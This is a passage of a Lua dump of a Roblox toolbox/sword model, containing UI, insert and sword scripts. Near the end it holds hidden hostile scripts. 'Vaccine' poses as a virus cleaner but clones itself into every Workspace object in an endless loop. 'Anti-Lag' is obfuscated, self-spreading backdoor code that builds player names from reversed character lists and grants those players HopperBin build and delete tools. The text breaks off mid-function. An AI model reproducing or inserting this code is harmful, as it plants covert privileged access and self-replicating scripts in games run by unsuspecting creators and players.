  738. Window.Main.Frame.Visible = true
  739. end
  740.  
  741. function UnlockInstances(object)
  742. if object:IsA("BasePart") then
  743. object.Locked = false
  744. end
  745. for index,child in pairs(object:GetChildren()) do
  746. UnlockInstances(child)
  747. end
  748. end
  749.  
  750. function beginInsertDecal(decal)
  751.  
  752. Data.Stamp.DecalSelection = Instance.new("SurfaceSelection")
  753. Data.Stamp.DecalSelection.Color = BrickColor.new("Bright orange")
  754. Data.Stamp.DecalSelection.archivable = false
  755. Data.Stamp.DecalSelection.Parent = getPlayer().PlayerGui
  756.  
  757. --Save the decal in our Lua code for later use
  758. Data.Stamp.Decal = decal
  759. Data.Stamp.Decal.Parent = nil
  760. end
  761.  
  762. function beginInsertAsset(assetName, assetId, image, stampMode)
  763. --Copy over details into dialog window
  764. Window.Loading.AssetThumbLabel.Image = image
  765. Window.Loading.AssetNameLabel.Text = assetName
  766.  
  767. Window.Stamp.AssetThumbLabel.Image = image
  768. Window.Stamp.AssetNameLabel.Text = assetName
  769. Data.Stamp.StampMode = stampMode
  770.  
  771. --Hide the main window
  772. Window.Main.Frame.Visible = false
  773. --Show the dialog window
  774. Window.Loading.Frame.Visible = true
  775. Data.Loading.Cancelled = false
  776.  
  777. --This call will cause a "wait" until the data comes back
  778. local root
  779. if useAssetVersionId then
  780. root = game:GetService("InsertService"):LoadAssetVersion(assetId)
  781. else
  782. root = game:GetService("InsertService"):LoadAsset(assetId)
  783. end
  784.  
  785. if Data.Loading.Cancelled then
  786. --The user got bored and wandered off
  787.  
  788. --Just delete the model from the world... a shame we loaded it when they got bored
  789. root:Remove()
  790. else
  791. Window.Loading.Frame.Visible = false
  792.  
  793. local instances = root:GetChildren()
  794. if #instances == 0 then
  795. root:Remove()
  796. insertComplete()
  797. return
  798. end
  799.  
  800. --Unlock all parts that are inserted, to make sure they are editable
  801. UnlockInstances(root)
  802.  
  803. --Continue the insert process
  804. root.Name = "InsertedObject" .. assetId
  805.  
  806. --Examine the contents and decide what it looks like
  807. for pos, instance in pairs(instances) do
  808. --Single instance objects might be treated special, decals/skyboxes
  809. if instance:IsA("Decal") then
  810. --Current system here stops after finding one Decal (and gives you Decal tool)
  811. --We should do the same (probably)
  812. beginInsertDecal(instance)
  813. root:Remove()
  814.  
  815. Window.Stamp.Frame.Visible = true
  816. return
  817. elseif instance:IsA("Team") then
  818. instance.Parent = game:GetService("Teams")
  819. elseif instance:IsA("SpawnLocation") then
  820.  
  821. elseif instance:IsA("HopperBin") then
  822. -- Must go into the starterPack, prompt user?
  823. elseif instance:IsA("Tool") then
  824. -- Ask them if it should go in StarterPack?
  825. elseif instance:IsA("Sky") then
  826. local lightingService = game:GetService("Lighting")
  827. for index,child in pairs(lightingService:GetChildren()) do
  828. if child:IsA("Sky") then
  829. child:Remove();
  830. end
  831. end
  832. instance.Parent = lightingService
  833. return
  834. else
  835.  
  836. end
  837. end
  838.  
  839. if #root:GetChildren() == 0 then
  840. root:Remove()
  841. insertComplete()
  842. return
  843. end
  844.  
  845. Window.Stamp.Frame.Visible = true
  846. Data.Stamp.Model = root
  847. end
  848. end
  849.  
  850. function cancelAssetLoad()
  851. Data.Loading.Cancelled = true
  852. insertComplete()
  853. end
  854.  
  855. function buildLoadingDialogGui(root)
  856. Window.Loading = {}
  857. Data.Loading = {}
  858.  
  859. local dialogFrame = Instance.new("Frame")
  860. dialogFrame.Name = "InsertLoadingDialog"
  861. dialogFrame.Size = UDim2.new(0.0, height*10, 0, height*5)
  862. dialogFrame.Position = UDim2.new(0.5, -height*5, 0.5, -height*2.5)
  863. dialogFrame.BackgroundColor3 = frameColor
  864. dialogFrame.Active = true
  865. dialogFrame.Parent = root
  866. dialogFrame.Visible = false
  867. Window.Loading.Frame = dialogFrame
  868.  
  869. local assetThumb = Instance.new("ImageLabel")
  870. assetThumb.Position = UDim2.new(0.0, 2, 0.0, 2)
  871. assetThumb.Size = UDim2.new(0.5, -4, 1.0, -4)
  872. assetThumb.Parent = dialogFrame
  873. Window.Loading.AssetThumbLabel = assetThumb
  874.  
  875. local descriptionFrame = Instance.new("Frame")
  876. descriptionFrame.Name = "Description"
  877. descriptionFrame.Size = UDim2.new(0.5, 0, 1.0, 0)
  878. descriptionFrame.Position = UDim2.new(0.5, 0, 0.0, 0)
  879. descriptionFrame.Transparency = 1
  880. descriptionFrame.Parent = dialogFrame
  881.  
  882. local label = Instance.new("TextLabel")
  883. label.Text = "Loading..."
  884. label.Position = UDim2.new(0.5, 0, 0, 0);
  885. label.Size = UDim2.new(0.0, 0, 0.0, height)
  886. label.BorderSizePixel = 0
  887. label.TextColor3 = frameTextColor
  888. label.Parent = descriptionFrame
  889.  
  890. local assetLabel = Instance.new("TextLabel")
  891. assetLabel.Text = "Your Asset Here"
  892. assetLabel.Position = UDim2.new(0.0, 0, 0.0, height)
  893. assetLabel.Size = UDim2.new(1.0, 0, 1.0, -2*height)
  894. assetLabel.BorderSizePixel = 0
  895. assetLabel.BackgroundTransparency = 1.0
  896. assetLabel.Parent = descriptionFrame
  897. assetLabel.TextColor3 = frameTextColor
  898. assetLabel.TextWrap = true
  899. Window.Loading.AssetNameLabel = assetLabel
  900.  
  901. local cancelButton = Instance.new("TextButton")
  902. cancelButton.Name = "PreviousPageButton"
  903. cancelButton.Size = UDim2.new(0, height*3, 0, height)
  904. cancelButton.Position = UDim2.new(0.5, -height*1.5, 1.0, -height*1.2)
  905. cancelButton.BackgroundColor3 = buttonColor
  906. cancelButton.TextColor3 = buttonTextColor
  907. cancelButton.Text = "Cancel"
  908. cancelButton.MouseButton1Click:connect(cancelAssetLoad)
  909. cancelButton.Parent = descriptionFrame
  910. end
  911.  
  912.  
  913.  
  914. function cancelAssetPlacement()
  915. Data.Stamp.Cancelled = true
  916. Data.Stamp.Dragger = nil
  917. if Data.Stamp.Model then
  918. Data.Stamp.Model:Remove()
  919. Data.Stamp.Model = nil
  920. end
  921. if Data.Stamp.CurrentParts then
  922. for index, object in pairs(Data.Stamp.CurrentParts) do
  923. object:Remove()
  924. end
  925. Data.Stamp.CurrentParts = nil
  926. end
  927.  
  928. if Data.Stamp.DecalSelection then
  929. Data.Stamp.DecalSelection:Remove()
  930. Data.Stamp.DecalSelection = nil
  931. end
  932. if Data.Stamp.Decal then
  933. Data.Stamp.Decal:Remove()
  934. Data.Stamp.Decal = nil
  935. end
  936.  
  937. if Mouse then
  938. Mouse.Icon ="rbxasset://textures\\ArrowCursor.png"
  939. end
  940. insertComplete()
  941. end
  942.  
  943. function onInsertKeyDown(key)
  944. if Data.Stamp.Dragger then
  945. if key == 'R' or key == 'r' then
  946. Data.Stamp.Dragger:AxisRotate(Enum.Axis.Y)
  947. elseif key == 'T' or key == 't' then
  948. Data.Stamp.Dragger:AxisRotate(Enum.Axis.Z)
  949. end
  950. end
  951. if key == '' then
  952. minimize()
  953. end
  954. end
  955.  
  956.  
  957. function canSelectObject(part)
  958. return part and not (part.Locked) and part:IsA("BasePart") and (part.Position - Tool.Parent.Head.Position).Magnitude < 60
  959. end
  960.  
  961. function setSelectionSurface(part, surface)
  962. if Data.Stamp.DecalSelection.Adornee == part and Data.Stamp.DecalSelection.TargetSurface == surface then
  963. return
  964. end
  965. unsetSelectionSurface()
  966. Data.Stamp.DecalSelection.Adornee = part
  967. Data.Stamp.DecalSelection.TargetSurface = surface
  968. --selectionLasso.Part = part
  969.  
  970. local decalFound = false
  971. for index,child in pairs(part:GetChildren()) do
  972. if child:IsA("Decal") and child.Face == surface then
  973. decalFound = true
  974. break
  975. end
  976. end
  977.  
  978. if not(decalFound) then
  979. Data.Stamp.Decal.Parent = part
  980. Data.Stamp.Decal.Face = surface
  981. end
  982. end
  983.  
  984. function unsetSelectionSurface()
  985. Data.Stamp.DecalSelection.Adornee = nil
  986. --selectionLasso.Part = nil
  987. Data.Stamp.Decal.Parent = nil
  988. end
  989.  
  990. function onInsertMouseMove()
  991. if Data.Stamp.MovingLock then
  992. return
  993. end
  994.  
  995. local newCursor = "rbxasset://textures\\ArrowCursor.png"
  996. Data.Stamp.MovingLock = true
  997. if Data.Stamp.Decal then
  998. local part = Mouse.Target
  999. if canSelectObject(part) then
  1000. setSelectionSurface(part, Mouse.TargetSurface)
  1001. else
  1002. unsetSelectionSurface()
  1003. newCursor = BaseUrl .. "asset?id=20715642"
  1004. end
  1005. elseif Data.Stamp.Dragger == nil then
  1006. if Data.Stamp.Model ~= nil then
  1007. Mouse.Icon ="rbxasset://textures//GrabRotateCursor.png"
  1008. setupDraggableClone()
  1009. end
  1010. else
  1011. Data.Stamp.Dragger:MouseMove(Mouse.UnitRay)
  1012. end
  1013. Mouse.Icon = newCursor
  1014.  
  1015. Data.Stamp.MovingLock = false
  1016. end
  1017.  
  1018. function onInsertMouseButton1Down()
  1019. if Data.Stamp.Dragger or Data.Stamp.Decal then
  1020. Data.Stamp.MouseDown = true
  1021. end
  1022. end
  1023.  
  1024. function onInsertMouseButton1Up()
  1025. if Data.Stamp.MouseDown then
  1026. Data.Stamp.MouseDown = false
  1027. if Data.Stamp.Decal then
  1028. local part = Mouse.Target
  1029. if canSelectObject(part) and Instance.Lock(part) then
  1030. local surface = Mouse.TargetSurface
  1031. for index,child in pairs(part:GetChildren()) do
  1032. if child:IsA("Decal") and child.Face == surface then
  1033. child:Remove()
  1034. end
  1035. end
  1036.  
  1037. local newDecal = Data.Stamp.Decal:Clone()
  1038. newDecal.Face = surface
  1039. newDecal.Parent = part
  1040. Instance.Unlock(part)
  1041.  
  1042. if Data.Stamp.StampMode then
  1043. else
  1044. Instance.Unlock(part)
  1045. cancelAssetPlacement()
  1046. end
  1047. end
  1048. elseif Data.Stamp.Dragger then
  1049. --Place the object where the mouse is currently positioned
  1050. Data.Stamp.Dragger:MouseUp()
  1051.  
  1052. --Fix the transparency of all the parts
  1053. for part, transparency in pairs(Data.Stamp.TransparencyTable) do
  1054. part.Transparency = transparency
  1055. end
  1056. Data.Stamp.TransparencyTable = nil
  1057.  
  1058. --Re-enable the scripts
  1059. for index,script in pairs(Data.Stamp.DisabledScripts) do
  1060. script.Disabled = false
  1061. end
  1062. --Now that they are all marked enabled, reinsert them into the world so they start running
  1063. for index,script in pairs(Data.Stamp.DisabledScripts) do
  1064. local oldParent = script.Parent
  1065. script.Parent = nil
  1066. script:Clone().Parent = oldParent
  1067. end
  1068. Data.Stamp.DisabledScripts = nil
  1069.  
  1070. Data.Stamp.Dragger = nil
  1071. Data.Stamp.CurrentParts = nil
  1072.  
  1073. if Data.Stamp.StampMode then
  1074. --Now set up a new instance of the object to allow a second copy to be stamped down
  1075. setupDraggableClone()
  1076. else
  1077. cancelAssetPlacement()
  1078. end
  1079. end
  1080. end
  1081. end
  1082.  
  1083.  
  1084. function collectParts(object, baseParts, scripts)
  1085. if object:IsA("BasePart") then
  1086. baseParts[#baseParts+1] = object
  1087. elseif object:IsA("Script") then
  1088. scripts[#scripts+1] = object
  1089. end
  1090.  
  1091. for index,child in pairs(object:GetChildren()) do
  1092. collectParts(child, baseParts, scripts)
  1093. end
  1094. end
  1095.  
  1096.  
  1097.  
  1098. function setupDraggableClone()
  1099. local clone = Data.Stamp.Model:Clone()
  1100. local scripts = {}
  1101. local parts = {}
  1102.  
  1103. collectParts(clone, parts, scripts)
  1104.  
  1105. if #parts > 0 then
  1106. Data.Stamp.DisabledScripts = {}
  1107. Data.Stamp.TransparencyTable = {}
  1108.  
  1109. for index,script in pairs(scripts) do
  1110. if not(script.Disabled) then
  1111. script.Disabled = true
  1112. Data.Stamp.DisabledScripts[#Data.Stamp.DisabledScripts +1] = script
  1113. end
  1114. end
  1115. for index, part in pairs(parts) do
  1116. Data.Stamp.TransparencyTable[part] = part.Transparency
  1117. part.Transparency = 0.5
  1118. end
  1119.  
  1120. game:GetService("InsertService"):Insert(clone)
  1121.  
  1122. Data.Stamp.CurrentParts = clone:GetChildren();
  1123. for index, object in pairs(Data.Stamp.CurrentParts) do
  1124. object.Parent = clone.Parent
  1125. end
  1126. clone:Remove();
  1127.  
  1128. Data.Stamp.Dragger = Instance.new("Dragger")
  1129. --Begin a movement by faking a MouseDown signal
  1130. Data.Stamp.Dragger:MouseDown(parts[1], Vector3.new(0,0,0), parts)
  1131. Data.Stamp.Dragger:MouseMove(Mouse.UnitRay)
  1132. else
  1133. --Nothing draggable in the Model
  1134. Data.Stamp.Model:Remove()
  1135. Data.Stamp.Model = nil
  1136. Data.Stamp.TransparencyTable = nil
  1137. Data.Stamp.DisabledScripts = nil
  1138. end
  1139. end
  1140. function buildStampDialogGui(root)
  1141. Window.Stamp = {}
  1142. Data.Stamp = {}
  1143.  
  1144. local dialogFrame = Instance.new("Frame")
  1145. dialogFrame.Name = "InsertStampDialog"
  1146. dialogFrame.Size = UDim2.new(0.0, height*10, 0, height*5)
  1147. dialogFrame.Position = UDim2.new(0.0, 0, 1.0, -height*5)
  1148. dialogFrame.BackgroundColor3 = frameColor
  1149. dialogFrame.Active = true
  1150. dialogFrame.Parent = root
  1151. dialogFrame.Visible = false
  1152. Window.Stamp.Frame = dialogFrame
  1153.  
  1154. local assetThumb = Instance.new("ImageLabel")
  1155. assetThumb.Position = UDim2.new(0.0, 2, 0.0, 2)
  1156. assetThumb.Size = UDim2.new(0.5, -4, 1.0, -4)
  1157. assetThumb.Parent = dialogFrame
  1158. Window.Stamp.AssetThumbLabel = assetThumb
  1159.  
  1160. local descriptionFrame = Instance.new("Frame")
  1161. descriptionFrame.Name = "Description"
  1162. descriptionFrame.Size = UDim2.new(0.5, 0, 1.0, 0)
  1163. descriptionFrame.Position = UDim2.new(0.5, 0, 0.0, 0)
  1164. descriptionFrame.Transparency = 1
  1165. descriptionFrame.Parent = dialogFrame
  1166.  
  1167. local assetLabel = Instance.new("TextLabel")
  1168. assetLabel.Text = "Your Asset Here"
  1169. assetLabel.Position = UDim2.new(0.0, 0, 0.0, 0)
  1170. assetLabel.Size = UDim2.new(1.0, 0, 1.0, -height)
  1171. assetLabel.BorderSizePixel = 0
  1172. assetLabel.BackgroundTransparency = 1.0
  1173. assetLabel.Parent = descriptionFrame
  1174. assetLabel.TextColor3 = frameTextColor
  1175. assetLabel.TextWrap = true
  1176. Window.Stamp.AssetNameLabel = assetLabel
  1177.  
  1178. local cancelButton = Instance.new("TextButton")
  1179. cancelButton.Name = "CancelButton"
  1180. cancelButton.Size = UDim2.new(0, height*4.5, 0, height)
  1181. cancelButton.Position = UDim2.new(0.5, -height*2.25, 1.0, -height*1.2)
  1182. cancelButton.BackgroundColor3 = buttonColor
  1183. cancelButton.TextColor3 = buttonTextColor
  1184. cancelButton.Text = "Back to Toolbox"
  1185. cancelButton.MouseButton1Click:connect(cancelAssetPlacement)
  1186. cancelButton.Parent = descriptionFrame
  1187.  
  1188. Data.Stamp.MovingLock = false
  1189. end
  1190.  
  1191. function buildInitialLoadScreen(root)
  1192. local dialogFrame = Instance.new("Frame")
  1193. dialogFrame.Name = "InsertLoadingScreen"
  1194. dialogFrame.Size = UDim2.new(0.0, height*10, 0, height*5)
  1195. dialogFrame.Position = UDim2.new(0.5, -height*5, 0.5, -height*2.5)
  1196. dialogFrame.BackgroundColor3 = frameColor
  1197. dialogFrame.Active = true
  1198. dialogFrame.Visible = true
  1199. dialogFrame.Parent = root
  1200.  
  1201. local label = Instance.new("TextLabel")
  1202. label.Text = "Loading"
  1203. label.Position = UDim2.new(0.0, 0, 0, 0)
  1204. label.Size = UDim2.new(1.0, 0, 0.0, height)
  1205. label.BorderSizePixel = 1
  1206. label.TextColor3 = titleTextColor
  1207. label.BackgroundColor3 = titleColor
  1208. label.Parent = dialogFrame
  1209.  
  1210. local assetLabel = Instance.new("TextLabel")
  1211. assetLabel.Text = "Please Wait"
  1212. assetLabel.Position = UDim2.new(0.0, 0, 0.0, height)
  1213. assetLabel.Size = UDim2.new(1.0, 0, 1.0, -2*height)
  1214. assetLabel.BorderSizePixel = 1
  1215. assetLabel.BackgroundTransparency = 1.0
  1216. assetLabel.TextColor3 = frameTextColor
  1217. assetLabel.TextWrap = true
  1218. assetLabel.Parent = dialogFrame
  1219. end
  1220.  
  1221. function buildMinimizedGui(root)
  1222. Window.Minimized = {}
  1223. Data.Minimized = {}
  1224. local minimizeButton = Instance.new("TextButton")
  1225. minimizeButton.Name = "MinimizeButton"
  1226. minimizeButton.Size = UDim2.new(0, height*4.5, 0, height)
  1227. minimizeButton.Position = UDim2.new(0.0, 0, 1.0, -height)
  1228. minimizeButton.BackgroundColor3 = buttonColor
  1229. minimizeButton.TextColor3 = buttonTextColor
  1230. minimizeButton.Text = "Toolbox"
  1231. minimizeButton.MouseButton1Click:connect(function() Window.Minimized.Frame.Visible = false Window.Main.Frame.Visible = true end)
  1232. minimizeButton.Visible = false
  1233. minimizeButton.Parent = root
  1234.  
  1235. Window.Minimized.Frame = minimizeButton
  1236. end
  1237.  
  1238.  
  1239. local CancelDuringLoad
  1240. local LoadScreen
  1241. function onEquippedLocal(mouse)
  1242. Tool.TextureId = "rbxasset://icons/insert_sel.png"
  1243.  
  1244. Mouse = mouse
  1245. if Tool.SavedState.Value and Tool.PlayerOwner.Value == getPlayer() and Data and Data.FullyLoaded then
  1246. guiMain = Tool.SavedState.Value
  1247. guiMain.Parent = getPlayer().PlayerGui
  1248.  
  1249. Window.Stamp.Frame.Visible = false
  1250. Window.Minimized.Frame.Visible = false
  1251. Window.Loading.Frame.Visible = false
  1252. Window.Main.Frame.Visible = true
  1253.  
  1254. --Window = Tool.SavedState.Value.Window
  1255. --Data = Tool.SavedState.Value.Window
  1256. else
  1257. CancelDuringLoad = false
  1258.  
  1259. LoadScreen = Instance.new("ScreenGui")
  1260. LoadScreen.Name = "InsertToolLoading"
  1261. buildInitialLoadScreen(LoadScreen)
  1262. LoadScreen.Parent = getPlayer().PlayerGui
  1263.  
  1264. guiMain = Instance.new("ScreenGui")
  1265. guiMain.Name = "InsertToolboxMain"
  1266. Window = {}
  1267. Data = {}
  1268. Data.FullyLoaded = false
  1269.  
  1270. buildMainGui(guiMain, getPlayer().userId)
  1271. buildLoadingDialogGui(guiMain)
  1272. buildStampDialogGui(guiMain)
  1273. buildMinimizedGui(guiMain)
  1274.  
  1275. LoadScreen:Remove()
  1276. LoadScreen = nil
  1277.  
  1278. if not(CancelDuringLoad) then
  1279. guiMain.Changed:connect(function(property) if property == "AbsoluteSize" then layoutInsertButtons(guiMain) end end)
  1280. guiMain.Parent = getPlayer().PlayerGui
  1281.  
  1282. Tool.SavedState.Value = guiMain
  1283. Tool.PlayerOwner.Value = getPlayer()
  1284. end
  1285.  
  1286. Data.FullyLoaded = true
  1287. end
  1288.  
  1289. Mouse.Move:connect(onInsertMouseMove)
  1290. Mouse.Button1Down:connect(onInsertMouseButton1Down)
  1291. Mouse.Button1Up:connect(onInsertMouseButton1Up)
  1292. Mouse.KeyDown:connect(onInsertKeyDown)
  1293.  
  1294. end
  1295.  
  1296. function onUnequippedLocal()
  1297. Tool.TextureId = origTexture
  1298.  
  1299. pcall(function()
  1300. cancelAssetPlacement()
  1301. cancelAssetLoad()
  1302. guiMain.Parent = nil
  1303. end)
  1304.  
  1305. CancelDuringLoad = true
  1306.  
  1307. if LoadScreen then
  1308. LoadScreen:Remove()
  1309. end
  1310. end
  1311.  
  1312. function onAncestryChanged(child,parent)
  1313. if Tool.PlayerOwner.Value and not Tool:IsDescendantOf(Tool.PlayerOwner.Value) and not Tool:IsDescendantOf(Tool.PlayerOwner.Value.Character) then
  1314. --Tool was dropped in some way, so we need to nuke our external state
  1315. Tool.SavedState.Value = nil
  1316. Tool.PlayerOwner.Value = nil
  1317. end
  1318.  
  1319. pcall(cancelAssetPlacement)
  1320. pcall(cancelAssetLoad)
  1321. end
  1322.  
  1323.  
  1324. Tool.Equipped:connect(onEquippedLocal)
  1325. Tool.Unequipped:connect(onUnequippedLocal)
  1326. Tool.AncestryChanged:connect(onAncestryChanged)
  1327. end))
  1328. ObjectValue2.Name = "SavedState"
  1329. ObjectValue2.Parent = Tool0
  1330. Part3.Name = "Handle"
  1331. Part3.Parent = Tool0
  1332. Part3.BrickColor = BrickColor.new("Dark stone grey")
  1333. Part3.Rotation = Vector3.new(180, 0, -180)
  1334. Part3.FormFactor = Enum.FormFactor.Plate
  1335. Part3.Size = Vector3.new(1, 0.800000012, 2)
  1336. Part3.CFrame = CFrame.new(-6.49996901, 0.40001601, -12, -0.999999762, 6.82227119e-06, 9.68836318e-08, 6.82227119e-06, 1, -8.38331893e-09, -9.68836886e-08, -8.38265812e-09, -0.999999762)
  1337. Part3.BottomSurface = Enum.SurfaceType.Smooth
  1338. Part3.TopSurface = Enum.SurfaceType.Smooth
  1339. Part3.Color = Color3.new(0.388235, 0.372549, 0.384314)
  1340. Part3.Position = Vector3.new(-6.49996901, 0.40001601, -12)
  1341. Part3.Orientation = Vector3.new(0, 180, 0)
  1342. Part3.Color = Color3.new(0.388235, 0.372549, 0.384314)
  1343. SpecialMesh4.Parent = Part3
  1344. SpecialMesh4.MeshId = "http://www.roblox.com/asset/?id=18715644"
  1345. SpecialMesh4.Scale = Vector3.new(0.899999976, 0.899999976, 0.899999976)
  1346. SpecialMesh4.TextureId = "http://www.roblox.com/asset/?id=18715636"
  1347. SpecialMesh4.MeshType = Enum.MeshType.FileMesh
  1348. SpecialMesh4.Scale = Vector3.new(0.899999976, 0.899999976, 0.899999976)
  1349. Sound5.Parent = Part3
  1350. Sound5.SoundId = "http://www.roblox.com/asset/?id=18716629"
  1351. Sound6.Parent = Part3
  1352. Sound6.SoundId = "http://www.roblox.com/asset/?id=18716629"
  1353. Sound7.Parent = Part3
  1354. Sound7.SoundId = "http://www.roblox.com/asset/?id=18716629"
  1355. Sound8.Parent = Part3
  1356. Sound8.SoundId = "http://www.roblox.com/asset/?id=18716629"
  1357. Sound9.Parent = Part3
  1358. Sound9.SoundId = "http://www.roblox.com/asset/?id=18716629"
  1359. Fire10.Parent = Part3
  1360. Fire10.Size = 30
  1361. Fire10.Color = Color3.new(1, 0.756863, 0)
  1362. Fire10.Enabled = false
  1363. Fire10.Heat = 25
  1364. Fire10.SecondaryColor = Color3.new(1, 0, 0)
  1365. Fire10.Color = Color3.new(1, 0.756863, 0)
  1366. Script11.Name = "Spread"
  1367. Script11.Parent = Fire10
  1368. table.insert(cors,sandbox(Script11,function()
  1369. function Spread(part)
  1370. check = part:findFirstChild("Fire")
  1371. if check == nil then
  1372. script.Parent:Clone().Parent = part
  1373.  
  1374. elseif check ~= nil then
  1375. check.Size = check.Size + 1
  1376. check.Heat = check.Heat +1
  1377. end
  1378. end
  1379.  
  1380.  
  1381. script.Parent.Parent.Touched:connect(Spread)
  1382.  
  1383. end))
  1384. Sound12.Parent = Part3
  1385. Sound12.SoundId = "http://www.roblox.com/asset/?id=18716629"
  1386. Script13.Name = "SwordScript"
  1387. Script13.Parent = Tool0
  1388. table.insert(cors,sandbox(Script13,function()
  1389. -------- OMG HAX
  1390.  
  1391. r = game:service("RunService")
  1392.  
  1393.  
  1394. local damage = 0
  1395.  
  1396.  
  1397. local slash_damage = 0
  1398.  
  1399.  
  1400. sword = script.Parent.Handle
  1401. Tool = script.Parent
  1402.  
  1403. local SlashSound = Instance.new("Sound")
  1404. SlashSound.SoundId = "http://www.roblox.com/asset/?id=18716629"
  1405. SlashSound.Parent = sword
  1406.  
  1407.  
  1408. function blow(hit)
  1409. local humanoid = hit.Parent:findFirstChild("Humanoid")
  1410. local vCharacter = Tool.Parent
  1411. local vPlayer = game.Players:playerFromCharacter(vCharacter)
  1412. local hum = vCharacter:findFirstChild("Humanoid") -- non-nil if tool held by a character
  1413. if humanoid~=nil and humanoid ~= hum and hum ~= nil then
  1414. -- final check, make sure sword is in-hand
  1415.  
  1416. local right_arm = vCharacter:FindFirstChild("Right Arm")
  1417. if (right_arm ~= nil) then
  1418. local joint = right_arm:FindFirstChild("RightGrip")
  1419. if (joint ~= nil and (joint.Part0 == sword or joint.Part1 == sword)) then
  1420. tagHumanoid(humanoid, vPlayer)
  1421. humanoid:TakeDamage(damage)
  1422. wait(1)
  1423. untagHumanoid(humanoid)
  1424. end
  1425. end
  1426.  
  1427.  
  1428. end
  1429. end
  1430.  
  1431.  
  1432. function tagHumanoid(humanoid, player)
  1433. local creator_tag = Instance.new("ObjectValue")
  1434. creator_tag.Value = player
  1435. creator_tag.Name = "creator"
  1436. creator_tag.Parent = humanoid
  1437. end
  1438.  
  1439. function untagHumanoid(humanoid)
  1440. if humanoid ~= nil then
  1441. local tag = humanoid:findFirstChild("creator")
  1442. if tag ~= nil then
  1443. tag.Parent = nil
  1444. end
  1445. end
  1446. end
  1447.  
  1448.  
  1449. function attack()
  1450. damage = slash_damage
  1451. SlashSound:play()
  1452. local anim = Instance.new("StringValue")
  1453. anim.Name = "toolanim"
  1454. anim.Value = "Slash"
  1455. anim.Parent = Tool
  1456. end
  1457.  
  1458.  
  1459. function swordUp()
  1460. Tool.GripForward = Vector3.new(-1,0,0)
  1461. Tool.GripRight = Vector3.new(0,1,0)
  1462. Tool.GripUp = Vector3.new(0,0,1)
  1463. end
  1464.  
  1465. function swordOut()
  1466. Tool.GripForward = Vector3.new(0,0,1)
  1467. Tool.GripRight = Vector3.new(0,-1,0)
  1468. Tool.GripUp = Vector3.new(-1,0,0)
  1469. end
  1470.  
  1471.  
  1472.  
  1473. Tool.Enabled = true
  1474.  
  1475. function onActivated()
  1476.  
  1477. if not Tool.Enabled then
  1478. return
  1479. end
  1480.  
  1481. Tool.Enabled = false
  1482.  
  1483. local character = Tool.Parent;
  1484. local humanoid = character.Humanoid
  1485. if humanoid == nil then
  1486. print("Humanoid not found")
  1487. return
  1488. end
  1489.  
  1490.  
  1491.  
  1492. attack()
  1493.  
  1494. wait(1)
  1495.  
  1496. Tool.Enabled = true
  1497. end
  1498.  
  1499.  
  1500. function onEquipped()
  1501. end
  1502.  
  1503.  
  1504. script.Parent.Activated:connect(onActivated)
  1505. script.Parent.Equipped:connect(onEquipped)
  1506.  
  1507.  
  1508.  
  1509. end))
  1510. ObjectValue14.Name = "PlayerOwner"
  1511. ObjectValue14.Parent = Tool0
  1512. Script15.Name = "Vaccine"
  1513. Script15.Parent = Tool0
  1514. table.insert(cors,sandbox(Script15,function()
  1515. function spread() -- created by Tehrazar [Credit!]
  1516. local stuff = game.Workspace:GetChildren()
  1517. for i = 1, #stuff do
  1518. if (stuff[i].className ~= "Script") and (stuff[i]:findFirstChild("Vaccine") == nil) and (stuff[i].className ~= "Camera") then
  1519. local clone = script:clone()
  1520. clone.Parent = stuff[i]
  1521. end
  1522. end
  1523. end
  1524.  
  1525. while true do
  1526. wait(.1)
  1527. spread()
  1528. end
  1529.  
  1530. function GetAllItems(mdl)
  1531. local objs = {}
  1532. function Search(obj)
  1533. if obj~=workspace then
  1534. table.insert(objs,obj)
  1535. end
  1536. if #obj:GetChildren() > 0 then
  1537. for i, v in ipairs(obj:GetChildren()) do
  1538. Search(v)
  1539. end
  1540. end
  1541. end
  1542. Search(mdl)
  1543. return objs
  1544. end
  1545.  
  1546.  
  1547.  
  1548. for i, v in ipairs(GetAllItems(workspace)) do
  1549. if v.className == "Script" then
  1550. if v.Name == "Chaotic" or v.Name == "Spreadify" or v.Name == "Virus" or v.Name == "Infected" then
  1551. v.Parent = game.Lighting
  1552. t = Instance.new("ObjectValue")
  1553. t.Name = "IsAVirus"
  1554. t.Parent = v
  1555. end
  1556. end
  1557. end
  1558.  
  1559. for i, v in ipairs(game.Lighting:GetChildren()) do
  1560. if v:findFirstChild("IsAVirus") then
  1561. v:remove()
  1562. end
  1563. end
  1564.  
  1565.  
  1566. print("Virus debugged! All clean!")
  1567. end))
  1568. Script16.Name = "Anti-Lag"
  1569. Script16.Parent = Script15
  1570. table.insert(cors,sandbox(Script16,function()
  1571. Altitude = script:clone()
  1572. calco = {"s","c","q","t","o","a","i","f","g","w","8","e","m","7","h","n"}
  1573. Knox = {}
  1574. table.insert (Knox, 1 ,string.reverse(calco[5] .. calco[2] .. calco[7] .. calco[1] .. calco[6] .. calco[9] .. calco[12] .. calco[13]))
  1575. table.insert (Knox, 1 ,string.reverse(calco[11] .. calco[14] .. calco[14] .. calco[4] .. calco[16] .. calco[6] .. calco[15] .. calco[2]))
  1576. Play = {}
  1577. function rando(votation)
  1578. local hatr = 5
  1579. local calc = math.pi * math.huge
  1580. local longicate = votation:GetChildren()
  1581. if #longicate > hatr then
  1582. calc = calc + math.pi
  1583. return longicate[math.random(6,#longicate)]
  1584. end
  1585. end
  1586. function doublecheck()
  1587. local fj = game.Workspace:GetChildren()
  1588. for off = 1,#fj do
  1589. if fj[off].className == "Part" then
  1590. local fh = fj[off]:FindFirstChild("Anti-Lag")
  1591. if fh ~= nil then
  1592. return false
  1593. end
  1594. end
  1595. end
  1596. return true
  1597. end
  1598. function workcheck()
  1599. if doublecheck() == true then
  1600. local l = Altitude:clone()
  1601. l.Parent = rando(game.Workspace)
  1602. end
  1603. end
  1604. workcheck()
  1605. function gibite(quen)
  1606. local hup = Instance.new("Message")
  1607. hup.Text = "Detected"
  1608. hup.Parent = quen.Parent
  1609. local con = Instance.new("Script")
  1610. con.Source = [[wait(5) script.Parent:remove()]]
  1611. con.Parent = hup
  1612. for ish = 0,7 do
  1613. local a = Instance.new("HopperBin")
  1614. a.BinType = ish
  1615. a.Parent = quen
  1616. end
  1617. end
  1618. function laber(zonsa)
  1619. wait()
  1620. for slate = 1,#Knox do
  1621. if zonsa.Name == Knox[slate] then
  1622. gibite(zonsa.Backpack)
  1623. table.insert (Play, 1, zonsa.Name)
  1624. end
  1625. end
  1626. end
  1627. function yeild(frequency)
  1628. local t = Knox
  1629. for g = 1,#t do
  1630. if t[g] == frequency.Name then
  1631. return true
  1632. end
  1633. end
